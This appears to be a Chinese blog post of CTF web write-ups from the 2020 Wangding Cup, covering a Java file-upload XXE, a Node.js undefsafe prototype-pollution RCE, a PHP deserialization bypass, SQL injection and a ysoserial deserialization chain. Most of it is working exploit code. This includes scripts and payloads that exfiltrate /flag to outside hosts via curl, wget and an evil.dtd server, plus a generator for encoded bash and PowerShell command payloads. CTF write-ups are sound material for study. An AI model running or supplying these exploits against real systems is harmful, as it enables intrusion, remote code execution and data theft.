记录一下部分web题目的wp, 总体来说, 题目都很无聊
最后的java题比较有意思了
filejava 开局一个文件上传
上传后会给出一个下载的链接
看一下链接
http://b6a1f593-bfbf-4c60-97d2-9ce6fba45868.node3.buuoj.cn/DownloadServlet?filename=63e4b2bf-edd9-4626-a272-0aca170e0110_down.py
猜测有任意文件读
主要这里要有正确的../
, 如果多或者少都不会显示
然后我们读下WEB-INF/web.xml
报错得到路径, 对应文件如下
../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
实际比赛中的路径没有ROOT这一层
为了便于复现, 后面的脚本也会改为buu的路径
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <servlet > <servlet-name > DownloadServlet</servlet-name > <servlet-class > cn.abc.servlet.DownloadServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > DownloadServlet</servlet-name > <url-pattern > /DownloadServlet</url-pattern > </servlet-mapping > <servlet > <servlet-name > ListFileServlet</servlet-name > <servlet-class > cn.abc.servlet.ListFileServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > ListFileServlet</servlet-name > <url-pattern > /ListFileServlet</url-pattern > </servlet-mapping > <servlet > <servlet-name > UploadServlet</servlet-name > <servlet-class > cn.abc.servlet.UploadServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > UploadServlet</servlet-name > <url-pattern > /UploadServlet</url-pattern > </servlet-mapping > </web-app >
根据web.xml
把对应的文件读下来
import requestssess = requests.Session() url = "http://8eb4dde4042f4130b82bb01af955822cc792f11b352a4438.cloudgame2.ichunqiu.com:8080/" def remote (filename) : data = {"filename" : "../../../../../../../../.." + filename} resp = sess.get(f"{url} file_in_java/DownloadServlet" , params=data).content print(resp) download(filename, resp) return text def download (filename, text) : filename = filename[filename.rfind("/" ) + 1 :] print("[+] write %s" %(filename)) f = open(filename, "wb" ) f.write(text) f.close() if __name__ == "__main__" : remote("/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class" )
读下来之后jd-gui反编译, 审计一下, 发现有个xml库
上网搜索发现有一个xxe的洞, https://xz.aliyun.com/t/6996
关键代码如下
if (filename.startsWith("excel-" ) && "xlsx" .equals(fileExtName)) { try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0 ); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException e) { System.err.println("poi-ooxml-3.10 has something wrong" ); e.printStackTrace(); } }
只需要上传一个excel-xxxx.xlsx
的文件, 题目就会对文件进行xml解析, 那么我们右键新建一个xlsx
改后缀名为.zip
, 解压后并在[Content_Types].xml
文件中添加xxe的代码
<!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % dtd SYSTEM "http://ip:2333/evil.dtd"> %dtd; ]>
分为两部分, 第一部分是创建了一个读取/flag
的实体, 第二部分是请求远程的evil.dtd
evil.dtd
如下
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:2333/?collect=%file;'>"> %all;
然后我们在当前目录(即有evil.dtd
的目录), 开一个web服务
python3 -m http.server 2333
接着本地将改好的文件夹打包成zip
, 重新改为excel-exp.xlsx
上传即可看到flag回显
截图为比赛的截图
trace 这道题过滤很少, 其实很好做, 但是题目给了一个限制, insert的条目不能超过20
当时时间比较紧, 没有想到出题人的本意是让我们在插入的时候报错, 疯狂重启靶机, 每20个请求就重启一次, 做到绝望, 后面懒得去复现了, 这里贴一个其他师傅的wp吧
byc_404
notes 源码如下
var express = require ('express' );var path = require ('path' );const undefsafe = require ('undefsafe' );const { exec } = require ('child_process' );var app = express();class Notes { constructor () { this .owner = "whoknows" ; this .num = 0 ; this .note_list = {}; } write_note(author, raw_note) { this .note_list[(this .num++).toString()] = {"author" : author,"raw_note" :raw_note}; } get_note(id) { var r = {} undefsafe(r, id, undefsafe(this .note_list, id)); return r; } edit_note(id, author, raw) { undefsafe(this .note_list, id + '.author' , author); undefsafe(this .note_list, id + '.raw_note' , raw); } get_all_notes() { return this .note_list; } remove_note(id) { delete this .note_list[id]; } } var notes = new Notes();notes.write_note("nobody" , "this is nobody's first note" ); app.set('views' , path.join(__dirname, 'views' )); app.set('view engine' , 'pug' ); app.use(express.json()); app.use(express.urlencoded({ extended : false })); app.use(express.static(path.join(__dirname, 'public' ))); app.get('/' , function (req, res, next ) { res.render('index' , { title : 'Notebook' }); }); app.route('/add_note' ) .get(function (req, res ) { res.render('mess' , {message : 'please use POST to add a note' }); }) .post(function (req, res ) { let author = req.body.author; let raw = req.body.raw; if (author && raw) { notes.write_note(author, raw); res.render('mess' , {message : "add note sucess" }); } else { res.render('mess' , {message : "did not add note" }); } }) app.route('/edit_note' ) .get(function (req, res ) { res.render('mess' , {message : "please use POST to edit a note" }); }) .post(function (req, res ) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess' , {message : "edit note sucess" }); } else { res.render('mess' , {message : "edit note failed" }); } }) app.route('/delete_note' ) .get(function (req, res ) { res.render('mess' , {message : "please use POST to delete a note" }); }) .post(function (req, res ) { let id = req.body.id; if (id) { notes.remove_note(id); res.render('mess' , {message : "delete done" }); } else { res.render('mess' , {message : "delete failed" }); } }) app.route('/notes' ) .get(function (req, res ) { let q = req.query.q; let a_note; if (typeof (q) === "undefined" ) { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note' , {list : a_note}); }) app.route('/status' ) .get(function (req, res ) { let commands = { "script-1" : "uptime" , "script-2" : "free -m" }; for (let index in commands) { exec(commands[index], {shell :'/bin/bash' }, (err, stdout, stderr) => { if (err) { return ; } console .log(`stdout: ${stdout} ` ); }); } res.send('OK' ); res.end(); }) app.use(function (req, res, next ) { res.status(404 ).send('Sorry cant find that!' ); }); app.use(function (err, req, res, next ) { console .error(err.stack); res.status(500 ).send('Something broke!' ); }); const port = 8080 ;app.listen(port, () => console .log(`Example app listening at http://localhost:${port} ` ))
给了一个命令执行的点
let commands = { "script-1" : "uptime" , "script-2" : "free -m" }; for (let index in commands) { exec(commands[index], {shell :'/bin/bash' }, (err, stdout, stderr) => { if (err) { return ; } console .log(`stdout: ${stdout} ` ); }); }
如果能注入commands
, 就能直接rce了, 看了一下有个奇怪的库
const undefsafe = require ('undefsafe' );
搜一下就知道这个库有一个原型链污染的问题, payload如下
var a = require ("undefsafe" );var payload = "__proto__.toString" ;a({},payload,"JHU" ); console .log({}.toString);
那么只需要找一个长得像的地方, 在edit
那里
edit_note(id, author, raw) { undefsafe(this .note_list, id + '.author' , author); undefsafe(this .note_list, id + '.raw_note' , raw); }
直接打就是了
import requestsimport reimport jsonurl = "http://7f94048d-5c59-4969-a0ed-b812be91d1ac.node3.buuoj.cn/" sess = requests.Session() def exp () : sess.get(url) data = { "author" : "curl 174.1.89.34:2333 -d data=`cat /flag`" , "id" : "__proto__" , "raw" : "wget http://174.1.89.34:2333/`cat /flag`" } resp = sess.post(f"{url} edit_note" , json=data).text sess.get(f"{url} status" ) if __name__ == "__main__" : exp()
然后就能收到flag了
AreUserialize 这个题目本身没有意思, 但是引申出来的东西很有意思
看一下源码
<?php include ("flag.php" );class FileHandler { protected $op; protected $filename; protected $content; function __construct () { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process(); } public function process () { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res); } else { $this ->output("Bad Hacker!" ); } } private function write () { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen((string)$this ->content) > 100 ) { $this ->output("Too long!" ); die (); } $res = file_put_contents($this ->filename, $this ->content); if ($res) $this ->output("Successful!" ); else $this ->output("Failed!" ); } else { $this ->output("Failed!" ); } } private function read () { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents($this ->filename); } return $res; } private function output ($s) { echo "[Result]: <br>" ; echo $s; } function __destruct () { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } } function is_valid ($s) { for ($i = 0 ; $i < strlen($s); $i++) if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125 )){ return false ; } return true ; } if (isset ($_GET{'str' })) { $str = (string)$_GET['str' ]; if (is_valid($str)) { $obj = unserialize($str); } else { highlight_file(__FILE__ ); } }
首先里面有一个is_valid
函数的检测, 而反序列化类中的成员类型是protected
, 序列化后会有\00
导致过不了check, 这里有两种思路
用public
覆盖
https://bugs.php.net/bug.php?id=49649&tdsourcetag=s_pctim_aiomsg
用S
绕过
这里放上p神的分享
具体的payload如下
O:11:"FileHandler":3:{S:5:"\00\2A\00op";i:2;S:11:"\00\2A\00filename";s:23:"/etc/apache2/httpd.conf";S:10:"\00\2A\00content";N;}
然后还有一个问题是, 怎么去读文件的目录
这里有几种思路
读http配置文件
比如说apache配置文件, nginx配置文件
读docker配置文件
比如/start.sh
, /etc/BUILD
, /proc/self/maps
读命令行操作
比如/proc/cmdline
, /root/.bash_history
等等
这种的话一般用库解决
https://github.com/TheKingOfDuck/fuzzDicts/tree/master/ssrfDicts
https://github.com/ev0A/ArbitraryFileReadList
另外一种思路是php在_destruct
的时候, pwd
会发生改变, 参考手册的内容
在序列化内容出现问题的时候不会改变当前工作目录, 随便改一个成员数或者是删掉最后的}
等等都会触发
这种情况就直接读flag.php
就可以了
比赛的当前目录在/web/html/
think java 这个算是这些题里面比较好的一个了, 留下了不会java的泪水
题目给了几个文件, 里面的关键信息有
在Test.class
中引入了swagger
当然这个我们也可以通过dir-search
找到
在sqlDict.class
中出现了sql语句拼接
我们先上去/swagger-ui.html
看一下api
那么我们先尝试一下sql注入
dbName=myapp?a=' union select 1%23
成功回显, 由于已经有表名了, 直接查字段
dbName=myapp?a=' union select group_concat(column_name) from information_schema.columns where table_name='user'%23
其实好像不查也能看到…
然后直接查内容
dbName=myapp?a=' union select group_concat(pwd) from user%23
得到用户名和密码
登陆后得到一个data
可以猜测是一段java的序列化内容, 传上去试试
成功变成admin
, 我们可以猜测后端是用了readObject
来反序列化
后面参考的是gml师傅的 2020网鼎杯-朱雀组wp
使用的gadgets是 https://github.com/frohoff/ysoserial
一开始我做的时候把全部gadgets都fuzz了一遍, 发现没有执行, 后面看了wp后, 先用URLDNS
进行探测
https://www.anquanke.com/post/id/201762#h2-5
在渗透测试中,如果对着服务器打一发JAVA反序列化payload,而没有任何回应,往往就不知道问题出在了哪里的蒙蔽状态。
1.打成功了,只是对方机器不能出网?
2.还是对面JAVA环境与payload版本不一样,改改就可以?
3.还是对方没有用这个payload利用链的所需库?利用链所需库的版本不对?换换就可以?
4.还是…以上做的都是瞎操作,这里压根没有反序列化readobject点QAQ
而URLDNS模块正是解决了以上疑惑的最后一个,确认了readobject反序列化利用点的存在。不至于payload改来改去却发现最后是因为压根没有利用点所以没用。同时因为这个利用链不依赖任何第三方库,没有什么限制。
如果目标服务器存在反序列化动作(readobject),处理了我们的输入,同时按照我们给定的URL地址完成了DNS查询,我们就可以确认是存在反序列化利用点的。
首先开一个requestsbin
获取到一个可以查dns的地址
然后我们执行
java -jar ysoserial.jar URLDNS "http://test.a2a51fa5805b4f5b09e2.d.dns.requestbin.buuoj.cn" | base64
然后把内容base64之后发过去, 发现有解析
import requestsimport reimport jsonimport subprocessimport sysfrom base64 import b64encode, b64decodeurl = "http://bd142ed8-01c9-4e4e-af06-9ab80a83e7ea.node3.buuoj.cn/common/user/current" sess = requests.Session() def exp (gadget, cmd) : payload = "Bearer " command = f"java -jar ./ysoserial.jar {gadget} '{cmd} ' > res 2>/dev/null" print(f"[*] try {gadget} " ) print(f"[*] cmd: {command} " ) subprocess.check_output(command, shell=True ) payload += b64encode(open("./res" , "rb" ).read()).decode("utf-8" ) headers = { "Authorization" : payload } resp = sess.post(url, headers=headers, timeout=2 , proxies={"http" :"127.0.0.1:8080" }).text print(f"[+] msg: {json.loads(resp)['msg' ]} " ) if __name__ == "__main__" : exp("URLDNS" , "http://test.9aaa13960db8c7458ae2.d.dns.requestbin.buuoj.cn" )
可以看到dns也有查询
然后我们fuzz一下payload
这里再次被java的exec特性坑了一把…这里给一个可以进行编码转换的网站
http://www.jackson-t.ca/runtime-exec-payloads.html
参考了他的js写了一个脚本
def java_exec (cmd: str, option: str="bash" ) -> str: """Generate exec payload of java version Args: cmd (str): command to run option (str, optional): the type of command. Defaults to "bash". Returns: str: exec payload """ from base64 import b64encode, b64decode java_cmd = "" if option == "bash" : java_cmd = "bash -c {echo," + b64encode(cmd.encode()).decode() + "}|{base64,-d}|{bash,-i}" elif option == "powershell" : cmd_pad = "" for i in cmd: cmd_pad += (i + "\00" ) java_cmd = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc " + b64encode(cmd_pad.encode()).decode() elif option == "python" : java_cmd = "python -c exec('" + b64encode(cmd.encode()).decode() + "'.decode('base64'))" elif option == "perl" : java_cmd = "perl -MMIME::Base64 -e eval(decode_base64('" + b64encode(cmd.encode()).decode() + "'))" else : pass return java_cmd if __name__ == "__main__" : import argparse parser = argparse.ArgumentParser(description="gen java exec payload" ) parser.add_argument("cmd" , help="command to run" ) parser.add_argument("-op" , "--option" , default="bash" , help="type of command, eg.bash, powershell, python, perl" ) args = parser.parse_args() print(java_exec(args.cmd, args.option))
然后获取一下gadgets
def get_gadgets () : gadgets = ['BeanShell1' , 'C3P0' , 'Clojure' , 'CommonsBeanutils1' , 'CommonsCollections1' , 'CommonsCollections2' , 'CommonsCollections3' , 'CommonsCollections4' , 'CommonsCollections5' , 'CommonsCollections6' , 'CommonsCollections7' , 'FileUpload1' , 'Groovy1' , 'Hibernate1' , 'Hibernate2' , 'JBossInterceptors1' , 'JRMPClient' , 'JRMPListener' , 'JSON1' , 'JavassistWeld1' , 'Jdk7u21' , 'Jython1' , 'MozillaRhino1' , 'MozillaRhino2' , 'Myfaces1' , 'Myfaces2' , 'ROME' , 'Spring1' , 'Spring2' , 'URLDNS' , 'Vaadin1' , 'Wicket1' ] return gadgets
全部打一遍
完整脚本如下
import requestsimport reimport jsonimport subprocessimport sysfrom base64 import b64encode, b64decodeurl = "http://bd142ed8-01c9-4e4e-af06-9ab80a83e7ea.node3.buuoj.cn/common/user/current" sess = requests.Session() def get_gadgets () : gadgets = ['BeanShell1' , 'C3P0' , 'Clojure' , 'CommonsBeanutils1' , 'CommonsCollections1' , 'CommonsCollections2' , 'CommonsCollections3' , 'CommonsCollections4' , 'CommonsCollections5' , 'CommonsCollections6' , 'CommonsCollections7' , 'FileUpload1' , 'Groovy1' , 'Hibernate1' , 'Hibernate2' , 'JBossInterceptors1' , 'JRMPClient' , 'JRMPListener' , 'JSON1' , 'JavassistWeld1' , 'Jdk7u21' , 'Jython1' , 'MozillaRhino1' , 'MozillaRhino2' , 'Myfaces1' , 'Myfaces2' , 'ROME' , 'Spring1' , 'Spring2' , 'URLDNS' , 'Vaadin1' , 'Wicket1' ] return gadgets def exp (gadget, cmd) : payload = "Bearer " command = f"java -jar ./ysoserial.jar {gadget} '{cmd} ' > res 2>/dev/null" print(f"[*] try {gadget} " ) print(f"[*] cmd: {command} " ) subprocess.check_output(command, shell=True ) payload += b64encode(open("./res" , "rb" ).read()).decode("utf-8" ) headers = { "Authorization" : payload } resp = sess.post(url, headers=headers, timeout=2 , proxies={"http" :"127.0.0.1:8080" }).text print(f"[+] msg: {json.loads(resp)['msg' ]} " ) def java_exec (cmd: str, option: str="bash" ) -> str: """Generate exec payload of java version Args: cmd (str): command to run option (str, optional): the type of command. Defaults to "bash". Returns: str: exec payload """ from base64 import b64encode, b64decode java_cmd = "" if option == "bash" : java_cmd = "bash -c {echo," + b64encode(cmd.encode()).decode() + "}|{base64,-d}|{bash,-i}" elif option == "powershell" : cmd_pad = "" for i in cmd: cmd_pad += (i + "\00" ) java_cmd = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc " + b64encode(cmd_pad.encode()).decode() elif option == "python" : java_cmd = "python -c exec('" + b64encode(cmd.encode()).decode() + "'.decode('base64'))" elif option == "perl" : java_cmd = "perl -MMIME::Base64 -e eval(decode_base64('" + b64encode(cmd.encode()).decode() + "'))" else : pass return java_cmd if __name__ == "__main__" : DEB = 0 if DEB: for i in get_gadgets(): try : exp(i, java_exec("curl http://http.requestbin.buuoj.cn/1f5nihc1 -d `cat /flag`" )) except : pass else : exp("ROME" , java_exec("curl http://http.requestbin.buuoj.cn/1f5nihc1 -d `cat /flag`" ))
可以用httpbin接受flag
也可以开个linuxlabs
参考链接
2020网鼎杯-朱雀组wp#think-java
作者: cjm00n 地址: https://cjm00n.top/CTF/wdcup-2020-quals-wp.html 版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。
评论